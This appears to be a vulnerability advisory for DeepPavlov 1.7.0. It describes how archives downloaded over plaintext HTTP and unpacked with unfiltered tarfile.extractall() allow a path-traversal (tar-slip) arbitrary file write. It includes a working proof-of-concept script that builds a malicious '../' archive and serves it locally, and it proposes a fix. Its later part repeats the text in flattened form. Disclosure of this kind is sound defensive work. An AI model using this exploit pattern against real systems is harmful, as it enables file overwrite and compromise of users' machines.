Summary
DeepPavlov's download_decompress() function downloads archives over plaintext HTTP and extracts them using bare tarfile.extractall() with no member name filtering. A network attacker (MITM) who intercepts the HTTP connection to files.deeppavlov.ai can serve a malicious .tar.gz with path-traversal entries (../../../.bashrc, etc.), achieving arbitrary file write with the victim's privileges.
The combination of CWE-319 (Cleartext Transmission) + CWE-22 (Path Traversal via tar-slip) makes this a realistic remote attack: any active network adversary (same LAN, malicious AP, rogue DNS, upstream proxy) can trigger it when the victim runs build_model(config, download=True) or python -m deeppavlov install <config>.
Affected Component
- Repository: https://github.com/deeppavlov/DeepPavlov
- File:
deeppavlov/core/data/utils.py
- Vulnerable functions:
untar() (line 199-213), download_decompress() (line 238-307)
- Version: 1.7.0 (latest as of 2026-06-07)
Attack scenarios
| Scenario |
Feasibility |
| Shared WiFi / malicious AP |
High — ARP spoof or rogue AP |
| CI/CD pipeline |
High — network tap on build infra |
| Corporate proxy / DNS poisoning |
Medium |
| ISP-level interception |
Low but possible in some jurisdictions |
Vulnerability Details
Vulnerable code: untar() (line 199-213)
def untar(file_path, extract_folder=None):
file_path = Path(file_path)
if extract_folder is None:
extract_folder = file_path.parent
extract_folder = Path(extract_folder)
tar = tarfile.open(file_path)
tar.extractall(extract_folder) # ← BARE extractall, no filter, no member validation
tar.close()
Call chain: download_decompress() (line 238-307)
def download_decompress(url, download_path, extract_paths=None, headers=None):
...
simple_download(url, arch_file_path, headers) # HTTP GET (plaintext)
...
if file_name.endswith('.tar.gz'):
untar(arch_file_path, extracted_path) # bare extractall
HTTP URLs hardcoded in configs
"http://files.deeppavlov.ai/datasets/insults_data.tar.gz"
"http://files.deeppavlov.ai/v1/ner/ner_ontonotes_bert_torch_crf.tar.gz"
"http://files.deeppavlov.ai/deeppavlov_data/classifiers/rusentiment_v1.tar.gz"
All model/dataset downloads use http:// — no TLS, no certificate pinning, no integrity check on the archive.
Proof of Concept
Environment
| Component |
Detail |
| deeppavlov |
1.7.0 (pip install) |
| Python |
3.11.0 |
| Attack simulation |
Local HTTP server (equivalent to MITM on files.deeppavlov.ai) |
Exploit
import io, os, tarfile, tempfile, threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
from pathlib import Path
from deeppavlov.core.data.utils import download_decompress
# Build malicious tar with traversal
SERVE_DIR = Path(tempfile.mkdtemp())
with tarfile.open(str(SERVE_DIR / "evil.tar.gz"), "w:gz") as tf:
info = tarfile.TarInfo(name="../pwned.txt")
data = b"ARBITRARY_WRITE_VIA_TARSLIP\n"
info.size = len(data)
tf.addfile(info, io.BytesIO(data))
# Serve it (simulates MITM on http://files.deeppavlov.ai)
os.chdir(str(SERVE_DIR))
server = HTTPServer(("127.0.0.1", 18923), SimpleHTTPRequestHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
# Victim triggers download (same as build_model with download=True)
extract_dir = Path(tempfile.mkdtemp()) / "extracted"
extract_dir.mkdir()
download_decompress("http://127.0.0.1:18923/evil.tar.gz", extract_dir, [extract_dir])
# Verify: file written OUTSIDE extract_dir via ../
assert (extract_dir.parent / "pwned.txt").exists()
PoC output
Suggested Fix
Immediate: add tar extraction filter
def untar(file_path, extract_folder=None):
file_path = Path(file_path)
if extract_folder is None:
extract_folder = file_path.parent
extract_folder = Path(extract_folder)
with tarfile.open(file_path) as tar:
# Python 3.12+: use data filter
# Python < 3.12: manual safe_extract
if hasattr(tarfile, 'data_filter'):
tar.extractall(extract_folder, filter='data')
else:
safe_members = []
for member in tar.getmembers():
member_path = Path(extract_folder) / member.name
if not member_path.resolve().is_relative_to(extract_folder.resolve()):
continue
if member.issym() or member.islnk():
continue
safe_members.append(member)
tar.extractall(extract_folder, members=safe_members)
Additionally: migrate all download URLs from HTTP to HTTPS
-http://files.deeppavlov.ai/datasets/insults_data.tar.gz
+https://files.deeppavlov.ai/datasets/insults_data.tar.gz
Summary
DeepPavlov's
download_decompress()function downloads archives over plaintext HTTP and extracts them using baretarfile.extractall()with no member name filtering. A network attacker (MITM) who intercepts the HTTP connection tofiles.deeppavlov.aican serve a malicious.tar.gzwith path-traversal entries (../../../.bashrc, etc.), achieving arbitrary file write with the victim's privileges.The combination of CWE-319 (Cleartext Transmission) + CWE-22 (Path Traversal via tar-slip) makes this a realistic remote attack: any active network adversary (same LAN, malicious AP, rogue DNS, upstream proxy) can trigger it when the victim runs
build_model(config, download=True)orpython -m deeppavlov install <config>.Affected Component
deeppavlov/core/data/utils.pyuntar()(line 199-213),download_decompress()(line 238-307)Attack scenarios
Vulnerability Details
Vulnerable code:
untar()(line 199-213)Call chain:
download_decompress()(line 238-307)HTTP URLs hardcoded in configs
All model/dataset downloads use
http://— no TLS, no certificate pinning, no integrity check on the archive.Proof of Concept
Environment
Exploit
PoC output
Suggested Fix
Immediate: add tar extraction filter
Additionally: migrate all download URLs from HTTP to HTTPS